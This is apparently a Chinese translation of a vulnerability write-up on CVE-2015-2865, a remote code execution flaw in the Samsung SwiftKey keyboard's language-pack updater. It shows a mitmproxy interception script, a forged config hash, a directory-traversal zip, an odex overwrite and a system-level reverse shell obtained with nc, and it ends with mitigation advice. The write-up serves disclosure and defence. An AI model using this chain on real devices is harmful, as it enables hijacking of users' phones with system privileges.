在能夠劫持你的網(wǎng)絡(luò)前提下,攻擊者能夠利用三星自帶輸入法更新機(jī)制進(jìn)行遠(yuǎn)程代碼執(zhí)行并且具有 system 權(quán)限。
Swift輸入法預(yù)裝在三星手機(jī)中并且不能卸載和禁用。即使修改了默認(rèn)輸入法,這個(gè)漏洞也是可以利用的。
CVE-2015-2865
可能造成的危害:
手機(jī)廠商(OEMs)和運(yùn)營(yíng)商(carriers)經(jīng)常在設(shè)備中預(yù)裝第三方應(yīng)用,而且這些應(yīng)用常常擁有較高的權(quán)限。就比如這次三星預(yù)裝的Swift輸入法
? /tmp aapt d badging SamsungIME.apk | head -3 package: name='com.sec.android.inputmethod' versionCode='4' versionName='4.0' sdkVersion:'18' targetSdkVersion:'19' ? /tmp shasum SamsungIME.apk 72f05eff8aecb62eee0ec17aa4433b3829fd8d22 SamsungIME.apk ? /tmp aapt d xmltree SamsungIME.apk AndroidManifest.xml | grep shared A: android:sharedUserId(0x0101000b)="android.uid.system" (Raw: "android.uid.system")
上面的信息表明此輸入法用的是三星系統(tǒng)證書簽名的,并且擁有 system 權(quán)限只比 root 權(quán)限差一點(diǎn)。
此漏洞的攻擊向量需要攻擊者能夠篡改上行網(wǎng)絡(luò)流量,當(dāng)輸入法開始升級(jí)后漏洞將在設(shè)備重啟后隨機(jī)自動(dòng)觸發(fā)(無(wú)需交互)。可以在近距離的情況下利用大菠蘿/偽基站,以及同局域網(wǎng)的情況下利用 arp 攻擊。完全遠(yuǎn)程的話可以利用DNS劫持或者劫持路由器/運(yùn)營(yíng)商…(都這么屌了…)
整個(gè)測(cè)試過(guò)程是在一個(gè)有 USB 網(wǎng)卡的 linux 虛擬機(jī)下進(jìn)行的,所有的 http流量被透明代理到mitmproxy上,之后通過(guò)腳本生成注入攻擊載荷。
Swift輸入法有一個(gè)升級(jí)功能可以添加一個(gè)新的語(yǔ)言包到現(xiàn)在有的語(yǔ)言中。當(dāng)用戶下載新的語(yǔ)言包的時(shí)候。會(huì)進(jìn)行如下請(qǐng)求:
GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/az_AZ.zip ← 200 application/zip 995.63kB 601ms
壓縮包下載后會(huì)被解壓到以下目錄:
/data/data/com.sec.android.inputmethod/app_SwiftKey/<languagePackAbbrev>/.
壓縮包內(nèi)容:
root@kltevzw:/data/data/com.sec.android.inputmethod/app_SwiftKey/az_AZ # ls -l -rw------- system system 606366 2015-06-11 15:16 az_AZ_bg_c.lm1 -rw------- system system 1524814 2015-06-11 15:16 az_AZ_bg_c.lm3 -rw------- system system 413 2015-06-11 15:16 charactermap.json -rw------- system system 36 2015-06-11 15:16 extraData.json -rw------- system system 55 2015-06-11 15:16 punctuation.json
可以看出壓縮包中的文件是由 system user 寫入的。權(quán)限很高哦,可以寫入很多位置哦。因?yàn)閴嚎s包和請(qǐng)求都是明文的,咱們可以嘗試去篡改它。
可以通過(guò) wifi 代理完成這個(gè)嘗試,寫了一個(gè)腳本來(lái)提高效率,腳本作用是當(dāng)有語(yǔ)言包的請(qǐng)求時(shí)進(jìn)行修改
def request(context, flow): if not flow.request.host == "kslm.swiftkey.net" or not flow.request.endswith(".zip"): return resp = HTTPResponse( [1, 1], 200, "OK", ODictCaseless([["Content-Type", "application/zip"]]), "helloworld") with open('test_language.zip', 'r') as f: payload = f.read() resp.content = payload resp.headers["Content-Length"] = [len(payload)] flow.reply(resp)
Payload非常簡(jiǎn)單,就一個(gè)文件
? /tmp unzip -l test_keyboard.zip Archive: test_keyboard.zip Length Date Time Name -------- ---- ---- ---- 6 06-11-15 15:33 test -------- ------- 6 1 file
修改之后查看/data/data/com.sec.android.inputmethod/app_SwiftKey/目錄,并沒有發(fā)現(xiàn)語(yǔ)言包以及測(cè)試文件。這表示,應(yīng)用對(duì)壓縮包進(jìn)行了合法性驗(yàn)證。當(dāng)通過(guò)多次測(cè)試后,發(fā)現(xiàn)在壓縮包下載之前有一個(gè)包含所有語(yǔ)言包列表/url路徑/zip的SHA1哈希的配置文件被下載。
請(qǐng)求如下:
>> GET http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json ← 200 application/json 15.38kB 310ms]
請(qǐng)求這個(gè)配置文件:
? curl -s 'http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/languagePacks.json' | jq '.[] | select(。name == "English (US)")'
服務(wù)器會(huì)返回一個(gè)列表包括語(yǔ)言/url/sha1,英語(yǔ)的 payload 如下:
{ "name": "English (US)", "language": "en", "country": "US", "sha1": "3b98ee695b3482bd8128e3bc505b427155aba032", "version": 13, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/en_US.zip", "live": { "sha1": "b846a2433cf5fbfb4f6f9ba6c27b6462bb1a923c", "version": 1181, "archive": "http://skslm.swiftkey.net/samsung/downloads/v1.3-USA/ll_en_US.zip" } }
之前所修改的壓縮包的SHA1并沒有在此配置文件中。配置文件也并沒有進(jìn)行安全的傳輸(加密/簽名…),所以如果計(jì)算好 SHA1后偽造一個(gè)配置文件即可繞過(guò)上面的效驗(yàn)了。嘗試在 payload 中加入目錄遍歷來(lái)達(dá)到寫入/data/.目錄的目的 (此目錄需要 system 權(quán)限訪問)。
payload 如下:
? samsung_keyboard_hax unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 5 2014-08-22 18:52 ////////data/payload --------- ------- 5 1 file
做了如上嘗試后成功寫入文件
? samsung_keyboard_hax adbx shell su -c "ls -l /data/payload" -rw------- system system 5 2014-08-22 16:07 payload
現(xiàn)在我們有了 system user 的任意寫入權(quán)限。下一個(gè)目標(biāo)就是將寫權(quán)限變成代碼執(zhí)行。Swift 輸入法自身目錄并沒有可執(zhí)行的二進(jìn)制文件供我們覆蓋。所以得另尋它處。
再對(duì)dex文件進(jìn)行優(yōu)化之后,文件會(huì)緩存到/data/dalvik-cache/目錄下。此目錄下所有文件為 system user 權(quán)限。現(xiàn)在需要尋找system組的文件,這樣就可以通過(guò)system user權(quán)限執(zhí)行。
root@kltevzw:/data/dalvik-cache # /data/local/tmp/busybox find . -type f -group 1000 ./system@framework@colorextractionlib.jar@classes.dex ./system@framework@com.google.android.media.effects.jar@classes.dex ./system@framework@com.google.android.maps.jar@classes.dex ./system@framework@VZWAPNLib.apk@classes.dex ./system@framework@cneapiclient.jar@classes.dex ./system@framework@com.samsung.device.jar@classes.dex ./system@framework@com.quicinc.cne.jar@classes.dex ./system@framework@qmapbridge.jar@classes.dex ./system@framework@rcsimssettings.jar@classes.dex ./system@framework@rcsservice.jar@classes.dex ./system@priv-app@DeviceTest.apk@classes.dex
要從上述文件中選出一個(gè)自動(dòng)調(diào)用的組件。理想情況下,對(duì)于整個(gè)odex文件僅替換需要的目標(biāo)。最后選擇DeviceTest(/data/dalvik-cache/system@priv-app@DeviceTest.apk@classes.dex) 作為目標(biāo)。
反編譯之后查看manifest文件,可以看到應(yīng)用確實(shí)有sharedUserId=”android.id.system”,并且看到BroadcastReceiver定義, 激活它即可自動(dòng)重啟設(shè)備。
<manifest android:sharedUserId="android.uid.system" android:versionCode="1" android:versionName="1.0" package="com.sec.factory" xmlns:android="http://schemas.android.com/apk/res/android"> … <receiver android:name="com.sec.factory.entry.FactoryTestBroadcastReceiver"> <intent-filter> <action android:name="android.intent.action.MEDIA_SCANNER_FINISHED" /> <data android:scheme="file" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PACKAGE_CHANGED" /> <data android:scheme="package" /> </intent-filter> <intent-filter> <action android:name="android.intent.action.PRE_BOOT_COMPLETED" /> <action android:name="android.intent.action.BOOT_COMPLETED" /> </intent-filter> <intent-filter> <action android:name="com.sec.atd.request_reconnect" /> <action android:name="android.intent.action.CSC_MODEM_SETTING" /> </intent-filter> </receiver>
現(xiàn)在需要為com.sec.factory.entry.FactoryTestBroadcastReceiver生成一個(gè)odex文件,exploit 代碼如下:
?cat FactoryTestBroadcastReceiver.java | head package com.sec.factory.entry; import java.lang.Class; import java.io.File; import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log; public class FactoryTestBroadcastReceiver extends BroadcastReceiver { //Exploit code here }
創(chuàng)建完payload之后,我們可以通過(guò)DalvikExchange (dx)工具編譯并運(yùn)行它用來(lái)獲取一個(gè)包含dalvik 字節(jié)代碼的。jar文件。再進(jìn)行一些優(yōu)化,將jar push到設(shè)備生成odex
ANDROID_DATA=/data/local/tmp dalvikvm -cp /data/local/tmp/<payload.jar> com.sec.factory.entry.FactoryTestBroadcastReceiver
緩存文件所在目錄,shell權(quán)限可讀
shell@kltevzw:/data/local/tmp/dalvik-cache $ ls -l -rw-r--r-- shell shell 3024 2014-07-18 14:09 data@local@tmp@payload.jar /* <![CDATA[ */!function(){try{var t="currentScript"in document?document.currentScript:function(){for(var t=document.getElementsByTagName("script"),e=t.length;e--;)if(t[e].getAttribute("cf-hash"))return t[e]}();if(t&&t.previousSibling){var e,r,n,i,c=t.previousSibling,a=c.getAttribute("data-cfemail");if(a){for(e="",r=parseInt(a.substr(0,2),16),n=2;a.length-n;n+=2)i=parseInt(a.substr(n,2),16)^r,e+=String.fromCharCode(i);e=document.createTextNode(e),c.parentNode.replaceChild(e,c)}}}catch(u){}}();/* ]]> */@classes.dex
將payload注入到我們語(yǔ)言包之后,觸發(fā)下載并重啟。
D/dalvikvm( 6276): DexOpt: --- BEGIN 'payload.jar' (bootstrap=0) --- D/dalvikvm( 6277): DexOpt: load 10ms, verify+opt 6ms, 112652 bytes D/dalvikvm( 6276): DexOpt: --- END 'payload.jar' (success) --- I/dalvikvm( 6366): DexOpt: source file mod time mismatch (3edeaec0 vs 3ed6b326)
作為 .ODEX 頭的一部分,其存儲(chǔ)CRC32以及classes.dex的修改時(shí)間,它根據(jù)原始APK的zip文件結(jié)構(gòu)表:
unzip -vl SM-G900V_KOT49H_DeviceTest.apk classes.dex Archive: SM-G900V_KOT49H_DeviceTest.apk Length Method Size Ratio Date Time CRC-32 Name -------- ------ ------- ----- ---- ---- ------ ---- 643852 Defl:N 248479 61% 06-22-11 22:25 f56f855f classes.dex -------- ------- --- ------- 643852 248479 61% 1 file
需要從zip文件中拉取這兩點(diǎn)信息對(duì)載荷dex文件進(jìn)行 patch,讓其看上去像是從原始DeviceTest.apk生成的。請(qǐng)注意,CRC32以及文件修改時(shí)間并不能作為一種安全機(jī)制。需要了解的是,因?yàn)閼?yīng)用更新了所有緩存才需要更新。
Patching ODEX文件并觸發(fā)漏洞,之后將會(huì)執(zhí)行payload.因?yàn)槭菧y(cè)試,所以這里只彈了個(gè) shell.
nc 192.168.181.96 8889 id uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1007(log),1010(wifi),1015(sdcard_rw),1021(gps),1023(media_rw),1024(mtp),1028(sdcard_r),2001(cache),3001(net_bt_admin),3002(net_bt),3003(inet),3004(net_raw),3005(net_admin),3009(qcom_diag),41000(u0_a31000) context=u:r:system_app:s0
需要注意一點(diǎn):生成 odex 載荷對(duì)應(yīng)特定的三星設(shè)備。也就是說(shuō)不同的設(shè)備/相同設(shè)備的不同系統(tǒng)版本需要單獨(dú)生成 odex 載荷。還好Swift輸入法在http 的UA中給咱們提供了這些信息
'User-Agent': 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; SM-G900T Build/KOT49H)'
有 root 權(quán)限的設(shè)備可以卸載此輸入法。
adb shell pm list packages -f |grep IME
找到文件后切換到 root 權(quán)限進(jìn)入目錄刪除該文件。或者禁用此輸入法
pm disable com.sec.android.inputmethod // 也可能叫這個(gè): com.samsung.inputmethod
沒有 root 的權(quán)限的設(shè)備可以在收到 OTA 之后盡快升級(jí)。
如果你的設(shè)備三星已經(jīng)不推送更新了,那就盡量不要加入一些陌生 wifi.如果大表哥要打你,你是擋不住的。
2015.6.16受影響設(shè)備統(tǒng)計(jì)
上一篇:JSONP挖掘與利用